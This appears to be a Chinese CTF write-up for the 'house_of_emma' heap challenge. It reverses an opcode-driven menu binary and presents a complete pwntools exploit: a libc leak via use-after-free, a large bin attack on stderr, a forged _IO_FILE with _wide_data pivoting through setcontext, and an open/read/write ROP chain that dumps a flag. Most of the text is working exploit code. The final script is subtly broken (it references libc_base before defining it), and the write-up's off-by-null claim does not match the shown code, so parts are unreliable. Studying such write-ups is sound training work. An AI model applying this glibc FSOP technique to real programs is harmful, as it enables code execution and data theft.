[湖湘杯 2021]house_of_emma

1779204864563-097c9e07-4ce3-440d-9f38-28274eb3ec35.png

程序分析：

main：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
    void *s; // [rsp+8h] [rbp-8h]

    sub_16D5(a1, a2, a3);
    while ( 1 )
    {
        puts("Pls input the opcode");
        s = malloc(0x2000u);
        memset(s, 0, 0x2000u);
        read(0, s, 0x500u);
        vuln((__int64)s);
        free(s);
    }
}
/*int sub_16D5()
{
  __int64 v0; // rcx
  __int64 v1; // r8
  __int64 v2; // r9
  __int16 v4; // [rsp+0h] [rbp-60h] BYREF
  __int16 *v5; // [rsp+8h] [rbp-58h]
  __int16 v6; // [rsp+10h] [rbp-50h] BYREF
  char v7; // [rsp+12h] [rbp-4Eh]
  char v8; // [rsp+13h] [rbp-4Dh]
  int v9; // [rsp+14h] [rbp-4Ch]
  __int16 v10; // [rsp+18h] [rbp-48h]
  char v11; // [rsp+1Ah] [rbp-46h]
  char v12; // [rsp+1Bh] [rbp-45h]
  int v13; // [rsp+1Ch] [rbp-44h]
  __int16 v14; // [rsp+20h] [rbp-40h]
  char v15; // [rsp+22h] [rbp-3Eh]
  char v16; // [rsp+23h] [rbp-3Dh]
  int v17; // [rsp+24h] [rbp-3Ch]
  __int16 v18; // [rsp+28h] [rbp-38h]
  char v19; // [rsp+2Ah] [rbp-36h]
  char v20; // [rsp+2Bh] [rbp-35h]
  int v21; // [rsp+2Ch] [rbp-34h]
  __int16 v22; // [rsp+30h] [rbp-30h]
  char v23; // [rsp+32h] [rbp-2Eh]
  char v24; // [rsp+33h] [rbp-2Dh]
  int v25; // [rsp+34h] [rbp-2Ch]
  __int16 v26; // [rsp+38h] [rbp-28h]
  char v27; // [rsp+3Ah] [rbp-26h]
  char v28; // [rsp+3Bh] [rbp-25h]
  int v29; // [rsp+3Ch] [rbp-24h]
  __int16 v30; // [rsp+40h] [rbp-20h]
  char v31; // [rsp+42h] [rbp-1Eh]
  char v32; // [rsp+43h] [rbp-1Dh]
  int v33; // [rsp+44h] [rbp-1Ch]
  __int16 v34; // [rsp+48h] [rbp-18h]
  char v35; // [rsp+4Ah] [rbp-16h]
  char v36; // [rsp+4Bh] [rbp-15h]
  int v37; // [rsp+4Ch] [rbp-14h]
  unsigned __int64 v38; // [rsp+58h] [rbp-8h]

  v38 = __readfsqword(0x28u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  prctl(38, 1, 0, 0, 0);
  v6 = 32;
  v7 = 0;
  v8 = 0;
  v9 = 4;
  v10 = 21;
  v11 = 0;
  v12 = 5;
  v13 = -1073741762;
  v14 = 32;
  v15 = 0;
  v16 = 0;
  v17 = 0;
  v18 = 53;
  v19 = 0;
  v20 = 1;
  v21 = 0x40000000;
  v22 = 21;
  v23 = 0;
  v24 = 2;
  v25 = -1;
  v26 = 21;
  v27 = 1;
  v28 = 0;
  v29 = 59;
  v30 = 6;
  v31 = 0;
  v32 = 0;
  v33 = 2147418112;
  v34 = 6;
  v35 = 0;
  v36 = 0;
  v37 = 0;
  v4 = 8;
  v5 = &v6;
  return prctl(22, 2, &v4, v0, v1, v2);
}*/

开启沙箱，循环开辟了 0x2000 个字节的空间，可以往里读取 0x500 的内容，当作 vuln 函数的参数

vuln

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
__int64 __fastcall vuln(__int64 a1)
{
    while ( 1 )
    {
        switch ( *(_BYTE *)a1 & 0xF )
        {
            case 1:
                malloc_0(a1);
                a1 += 4;
                puts("Malloc Done");
                break;
            case 2:
                del(a1);
                a1 += 2;
                puts("Del Done");
                break;
            case 3:
                show(a1);
                a1 += 2;
                puts("Show Done");
                break;
            case 4:
                edit(a1);
                a1 += *(unsigned __int16 *)(a1 + 2) + 4LL;
                puts("Edit Done");
                break;
            case 5:
                return 0;
            case 6:
                *(_WORD *)(a1 + 3) = *(unsigned __int8 *)(a1 + 2) + *(unsigned __int8 *)(a1 + 1);
                a1 += 5;
                break;
            case 7:
                *(_WORD *)(a1 + 3) = *(unsigned __int8 *)(a1 + 2) - *(unsigned __int8 *)(a1 + 1);
                a1 += 5;
                break;
            case 8:
                *(_WORD *)(a1 + 3) = (unsigned __int8)(*(_BYTE *)(a1 + 1) ^ *(_BYTE *)(a1 + 2));
                a1 += 5;
                break;
            case 9:
                *(_WORD *)(a1 + 3) = *(unsigned __int8 *)(a1 + 2) * *(unsigned __int8 *)(a1 + 1);
                a1 += 5;
                break;
            default:
                puts("Invalid opcode");
                break;
        }
    }
}

malloc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
_DWORD *__fastcall malloc_0(__int64 a1)
{
    unsigned __int8 v2; // [rsp+1Dh] [rbp-13h]
    unsigned __int16 v3; // [rsp+1Eh] [rbp-12h]

    v2 = *(_BYTE *)(a1 + 1);
    v3 = *(_WORD *)(a1 + 2);
    if ( v3 <= 0x40Fu || v3 > 0x500u || v2 > 0x10u )
    {
        puts("ERROR");
        _exit(0);
    }
    qword_4040[v2] = calloc(1u, v3);
    dword_40C0[v2] = v3;
    return dword_40C0;
}
  • *(_BYTE *)(a1 + 0)：第 0 个字节应该是操作码 Opcode。
  • v2 = *(_BYTE *)(a1 + 1);：提取第 1 个字节，作为 Chunk 的索引号（Index/ID），即第几个堆块。
  • v3 = *(_WORD *)(a1 + 2);：提取第 2、3 两个字节，WORD16位，作为 Chunk 的大小。

之后对各个参数进行了限制，要求大小范围是 0x40F-0x500，堆块数量不超过 0x10 个

del

1
2
3
4
5
6
7
8
9
10
11
12
void __fastcall del(__int64 a1)
{
    unsigned __int8 v1; // [rsp+1Fh] [rbp-1h]

    v1 = *(_BYTE *)(a1 + 1);
    if ( v1 > 0x10u || !qword_4040[v1] )
    {
        puts("Invalid idx");
        _exit(0);
    }
    free((void *)qword_4040[v1]);
}

很明显的 UAF

show

1
2
3
4
5
6
7
8
9
10
11
12
int __fastcall show(__int64 a1)
{
    unsigned __int8 v2; // [rsp+1Fh] [rbp-1h]

    v2 = *(_BYTE *)(a1 + 1);
    if ( v2 > 0x10u || !qword_4040[v2] )
    {
        puts("Invalid idx");
        _exit(0);
    }
    return puts((const char *)qword_4040[v2]);
}

打印堆块内容

edit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void *__fastcall edit(__int64 a1)
{
    unsigned __int8 v2; // [rsp+1Dh] [rbp-3h]
    unsigned __int16 v3; // [rsp+1Eh] [rbp-2h]

    v2 = *(_BYTE *)(a1 + 1);
    v3 = *(_WORD *)(a1 + 2);
    if ( v2 > 0x10u || !qword_4040[v2] )
    {
        puts("Invalid idx");
        _exit(0);
    }
    if ( (unsigned int)v3 > dword_40C0[v2] )
    {
        puts("Invalid size");
        v3 = dword_40C0[v2];
    }
    return memcpy((void *)qword_4040[v2], (const void *)(a1 + 4), v3);
}

不是直接写入，这里选择的是直接覆盖，存在 off-by-null 漏洞，memcpy 也算是比较常见的一种漏洞了

EXP 思路：

逆向 opcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
opcode = b""
def add(size,index):
    global opcode
    opcode += b"\x01" + p8(index) + p16(size)
    
def free(index):
    global opcode
    opcode += b"\x02" + p8(index)

def show(index):
    global opcode
    opcode += b"\x03" + p8(index)

def edit(index, content):
    global opcode
    opcode += b"\x04" + p8(index) + p16(len(content)) + content

def run():
    global opcode
    opcode += b"\x05"
    p.sendline(opcode)
    opcode = b""

泄露 libc：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
add(0x480,0)    # index 0  size = 0x480  Large chunk
add(0x4b0,15)   # index 15, 大小 0x4b0, 作为阻隔块 (Barrier)，防止 chunk 0 释放后与 Top Chunk 合并
edit(15,b"./flag\x00") # 顺便在 chunk 15 中写入 flag 的文件名，后续 ORW 打开文件时会用到
add(0x4a0,1)    # index 1, size = 0x4a0  Large chunk
add(0x4b0,15)   # 阻隔块
add(0x470,2)    # index 2
add(0x4b0,15)   # 阻隔块
run()           # 执行上述分配

free(1)         # 释放 chunk 1，放入 Unsorted Bin
show(1)         # 打印 chunk 1 的内容。此时 chunk 1 的 fd 和 bk 指针指向 libc 的 main_arena。
run()           

addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
log.success(f'addr is {hex(addr)}')
libc_base = addr - 0x1f2cc0
log.success("libc_addr==>"+hex(libc_base))
# dbg()

1779210174707-f9df3c08-f807-4e76-910c-8f58c012a16b.png

Large Bin Attack 泄漏堆地址并劫持 stderr

1
2
3
4
5
6
7
8
9
free(0)                                     # 将 chunk 0 释放，进入 Unsorted Bin
edit(1,p64(addr)*2 + p64(0) + p64(stderr_addr-0x20))
add(0x4b0,15)                               

show(1)
run()
p.recvuntil(b'Malloc Done\n')
heap_addr = u64(p.recv(6).ljust(8,b'\x00'))-0x22A0 
success("heap_addr==>"+hex(heap_addr))
  • 利用 edit 篡改 largebin_bk_nextsize 准备进行 larbinattack，但此时并没有进入到 largebin
  • add(0x4b0,15) 进行清理 UnSortedbin 到 Largebin 当中 bk_nextsize ->fd_nextsize = stderr - 0x20，导致原本指向 chunk1 的 bk_nextsize 变成了 stderr - 0x20，可以利用 show 打印出 stderr 地址进行泄露 heap_base：
  • 同时 victim->bk_nextsize->fd_nextsize = victim; 进行的 larbin_attack，让 stderr 指向 chunk1, 我们可以利用 stderr 触发标准错误，利用 fflush 刷新流调用 stderr 找到 chunk1

1779211033929-926fce9b-982b-4541-83b0-ec37d14ae42c.png

构造 ORW

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
syscall = read_addr + 16       # 寻找 syscall 的 gadget 地址
flag = heap_addr + 0x2740      # 之前我们在 chunk 15 里写入了 "./flag\x00"，这里计算出它的绝对物理地址

# Open("./flag", 0) 
orw =p64(pop_rdi_ret)+p64(flag) # RDI = flag路径字符串的地址
orw+=p64(pop_rsi_ret)+p64(0)    # RSI = 0 (O_RDONLY)
orw+=p64(pop_rax_ret)+p64(2)    # RAX = 2 (sys_open)
orw+=p64(syscall)               # 执行 syscall

# Read(3, heap + 0x1010, 0x30) 
orw+=p64(pop_rdi_ret)+p64(3)    # RDI = 3 (新打开的 flag 的文件描述符，0,1,2被标准流占用)
orw+=p64(pop_rsi_ret)+p64(heap_addr+0x1010) # RSI = 堆上的一个空白区域，用来存放读出来的 flag 数据
orw+=p64(pop_rdx_r12_ret)+p64(0x30)+p64(0)  # RDX = 0x30 (读取长度), R12 = 0
orw+=p64(read_addr)             # 调用 read 函数

# Write(1, heap + 0x1010, 0x30) 
orw+=p64(pop_rdi_ret)+p64(1)    # RDI = 1 (标准输出 stdout)
orw+=p64(pop_rsi_ret)+p64(heap_addr+0x1010) # RSI = 刚刚存放 flag 数据的堆地址
orw+=p64(pop_rdx_r12_ret)+p64(0x30)+p64(0)  # RDX = 0x30 (写入长度)
orw+=p64(write_addr)            # 调用 write 函数，将 flag 打印到屏幕

伪造 _IO_FILE 结构体进行 FSOP

因为 stderr 指向了 chunk 1，现在要在 chunk 1 中伪造一个合法的 _IO_FILE 结构体，让 fflush 在解析它时，劫持指令执行流。这里使用的是经典的 House of Emma 链条。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# 伪造IO_FILE
chunk_addr = heap_addr + 0x2BF0         # 当前 chunk 1 在堆上的地址

# 构造 _IO_FILE 头部字段，主要为了绕过 _IO_flush_all_lockp 等函数内部的 sanity checks
file = p64(0) + p64(0)                  # _IO_read_end, _IO_read_base
file+= p64(0) + p64(heap_addr) + p64(0) # _IO_write_base, _IO_write_ptr, _IO_write_end
file+= p64(0) + p64(0)                  # _IO_buf_base, _IO_buf_end
file+= p64(0) * 8                       # padding
file+= p64(heap_addr) + p64(0)*2        # _lock (给个可写的堆地址防止死锁), _offset, _codecvt

# 劫持 _wide_data
file+= p64(chunk_addr + 0xe0)           # 设置 _wide_data 指针，指向我们在结构体尾部伪造的数据区域
file+= p64(0) *3                        
file+= p64(1) + p64(0)*2                # _mode = 1 (必须大于0才能进入wide流分支)

# 劫持虚表指针 (vtable)
file+=p64(IO_wfile_jumps_addr + 0x10)   # vtable 指向 libc 中的 _IO_wfile_jumps + 0x10。
# 因为直接伪造 vtable 到堆上会被 glibc 安全机制(vtable check)检测到，
# 我们借用 libc 内部合法的虚表，偏移使其调用 _IO_wdoallocbuf。

# ========== _IO_wide_data 伪造 ==========
_wide_vtable = chunk_addr + 0xf0        # 伪造 _wide_data 里的虚表指针
rdx_data     = chunk_addr + 0xf0        # 控制 RDX 寄存器指向的数据区
stack_change = chunk_addr + 0x1d0       # ROP 链开始的地方

file+= p64(0)*3                                      # _wide_data 内部字段占位
# 核心三：控制 RIP 指向 setcontext 
file+= p64(1) + p64(rdx_data) + p64(setcontext_addr) # 当虚表流转执行时，会调用这里的 setcontext_addr
file+= p64(0) * 16 + p64(stack_change) + p64(ret)    # 这里的布局是为了满足 setcontext+61 中汇编指令的要求：
# 把 rdx+0xa0 处的值赋给 rsp (栈迁移)
# 把 rdx+0xa8 处的值赋给 rcx/rip (跳向ret，进而执行ROP)
file+= p64(0) * 4
file+= p64(_wide_vtable)          # _wide_vtable 自身指针
file+= p64(0)   # 填充对齐
# stack change
file+= orw      # 将上一步写好的 ROP 链拼接到此处。RSP 会被劫持到这里，开始执行 ORW。

触发 House Of Emma 执行：

1
2
3
4
5
6
7
8
9
10
11
edit(1,file)    # 将精心构造好的恶意 _IO_FILE 写入 chunk 1。此时 libc 的 stderr 已经死死盯着这里了。
add(0x4b0,15)   # 再次触发分配！
# 1. malloc 发现请求大小超标，去取 Top Chunk。
# 2. 发现 Top Chunk 的 size (0x301) 是坏的。
# 3. 触发 __malloc_assert 崩溃。
# 4. libc 调用 fflush(stderr)。
# 5. fflush 解析伪造的 _IO_FILE，调用伪造的 _wide_vtable 中的 setcontext。
# 6. setcontext 把寄存器状态切换，RSP 被指到了堆上的 ORW payload 处。
# 7. ROP 链疯狂运转：Open flag -> Read flag -> Write 给用户。
run()
p.interactive() # 开启交互模式，接收打印出来的 Flag

总 EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

# p = remote("node4.anna.nssctf.cn",28549)
p = process("./pwn_patched")
libc = ELF('./libc.so.6')
context.terminal=["tmux","splitw","-h"]

opcode = b""
def add(size,index):
    global opcode
    opcode += b"\x01" + p8(index) + p16(size)
    
def free(index):
    global opcode
    opcode += b"\x02" + p8(index)

def show(index):
    global opcode
    opcode += b"\x03" + p8(index)

def edit(index, content):
    global opcode
    opcode += b"\x04" + p8(index) + p16(len(content)) + content

def run():
    global opcode
    opcode += b"\x05"
    p.sendline(opcode)
    opcode = b""

def dbg():
    gdb.attach(p)
    pause()
# 泄漏libc
log.success("libc_addr==>"+hex(libc_base))

add(0x480,0)    #0
add(0x4b0,15)    #15 隔开
edit(15,b"./flag\x00")
add(0x4a0,1)    #1
add(0x4b0,15)    #15
add(0x470,2)    #2
add(0x4b0,15)    #15 隔开

# dbg()
run()
# dbg()

free(1)
# add(0x4b0,15)    #15 将chunk1放入large bin
show(1)
run()

addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
log.success(f'addr is {hex(addr)}')
libc_base = addr - 0x1f2cc0
# dbg()

#计算__free_hook和system地址
setcontext_addr    = libc_base + libc.sym["setcontext"] + 61
system_addr        = libc_base + libc.sym["system"]
IO_2_1_stdout_addr = libc_base + libc.sym["_IO_2_1_stdout_"]
IO_list_all_addr   = libc_base + libc.sym["_IO_list_all"]
IO_wfile_jumps_addr = libc_base + libc.sym["_IO_wfile_jumps"]
stderr_addr = libc_base + libc.sym["stderr"]
# IO_wfile_jumps_addr = libc_base + 0x1E4F80

success("system_addr==>"        + hex(system_addr))
success("setcontext_addr==>"    + hex(setcontext_addr))
success("IO_2_1_stdout_addr==>" + hex(IO_2_1_stdout_addr))
success("IO_list_all_addr==>"   + hex(IO_list_all_addr))
success("IO_wfile_jumps_addr==>"+ hex(IO_wfile_jumps_addr))
success("stderr_addr==>"        + hex(stderr_addr))

open_addr = libc.sym['open']+libc_base
read_addr = libc.sym['read']+libc_base
write_addr = libc.sym['write']+libc_base

# pop_rdi_ret=libc_base + 0x000000000002858f
# pop_rdx_r12_ret=libc_base + 0x0000000000114161
# pop_rax_ret=libc_base + 0x0000000000045580
# pop_rsi_ret=libc_base + 0x000000000002ac3f
# ret= libc_base + 0x0000000000026699

pop_rdi_ret=libc_base + 0x000000000002daa2
pop_rdx_r12_ret=libc_base + 0x00000000001066e1
pop_rax_ret=libc_base + 0x00000000000446c0
pop_rsi_ret=libc_base + 0x0000000000037c0a
ret= libc_base + 0x000000000002d446

# 泄漏堆地址 同时完成large bin attack 攻击 覆盖掉IO_list_all
free(0)
edit(1,p64(addr)*2 + p64(0) + p64(stderr_addr-0x20))
add(0x4b0,15)    #15 将chunk0放入large bin 触发large bin attack
show(1)
run()
p.recvuntil(b'Malloc Done\n')
# dbg()
leak_addr = u64(p.recv(6).ljust(8,b'\x00'))
log.success(f'leak_addr is {hex(leak_addr)}')
heap_addr = leak_addr - 0x22A0 
success("heap_addr==>"+hex(heap_addr))
dbg()


# ========== 修改 top_chunk ==========
add(0x4c0,15)   # 用来修改 top_chunk的size
free(15)        # 提高 top_chunk 
add(0x4b0,14)
edit(15,b"\x00"*0x4b8 + p64(0x301))
run()

# ORW
syscall = read_addr+16
flag = heap_addr+0x2740

# open(0,flag)
orw =p64(pop_rdi_ret)+p64(flag)
orw+=p64(pop_rsi_ret)+p64(0)
orw+=p64(pop_rax_ret)+p64(2)
orw+=p64(syscall)
# orw =p64(pop_rdi_ret)+p64(flag)
# orw+=p64(pop_rsi_ret)+p64(0)
# orw+=p64(open_addr)

# read(3,heap+0x1010,0x30) 
orw+=p64(pop_rdi_ret)+p64(3)
orw+=p64(pop_rsi_ret)+p64(heap_addr+0x1010)     # 从地址 读出flag
orw+=p64(pop_rdx_r12_ret)+p64(0x30)+p64(0)
orw+=p64(read_addr)     

# write(1,heap+0x1010,0x30)
orw+=p64(pop_rdi_ret)+p64(1)
orw+=p64(pop_rsi_ret)+p64(heap_addr+0x1010)     # 从地址 读出flag
orw+=p64(pop_rdx_r12_ret)+p64(0x30)+p64(0)
orw+=p64(write_addr)


# ========== 伪造IO_FILE ==========
chunk_addr = heap_addr + 0x2BF0     #当前large bin 的地址

file = p64(0) + p64(0)                  #_IO_read_end    _IO_read_base
file+= p64(0) + p64(heap_addr) + p64(0)         #_IO_write_base  _IO_write_ptr _IO_write_end
file+= p64(0) + p64(0)                  #_IO_buf_base    _IO_buf_end
file+= p64(0) * 8                       #_IO_save_base ~ _codecvt
file+= p64(heap_addr) + p64(0)*2                #_lock   _offset  _codecvt
file+= p64(chunk_addr + 0xe0)           #_wide_data
file+= p64(0) *3                        #_freeres_list ~ __pad5
file+= p64(1) + p64(0)*2                # _mode  _unused2 (2dword)

file+=p64(IO_wfile_jumps_addr + 0x10)   #vtable

# ========== _IO_wide_data_2 ==========
_wide_vtable = chunk_addr + 0xf0
rdx_data     = chunk_addr + 0xf0
stack_change = chunk_addr + 0x1d0

file+= p64(0)*3                                      #_IO_read_ptr   _IO_read_end  _IO_read_base
file+= p64(1) + p64(rdx_data) + p64(setcontext_addr) #_IO_write_base _IO_write_ptr _IO_write_end
file+= p64(0) * 16 + p64(stack_change) + p64(ret)
file+= p64(0) * 4
file+= p64(_wide_vtable)          #_wide_vtable
file+= p64(0)   #填充
# stack change
file+= orw


edit(1,file)
add(0x4b0,15)   # 触发 __malloc_assert
run()
p.interactive()

更新: 2026-05-20 02:20:24
原文: https://www.yuque.com/idcm/wnemg9/eob78891d9gc2tic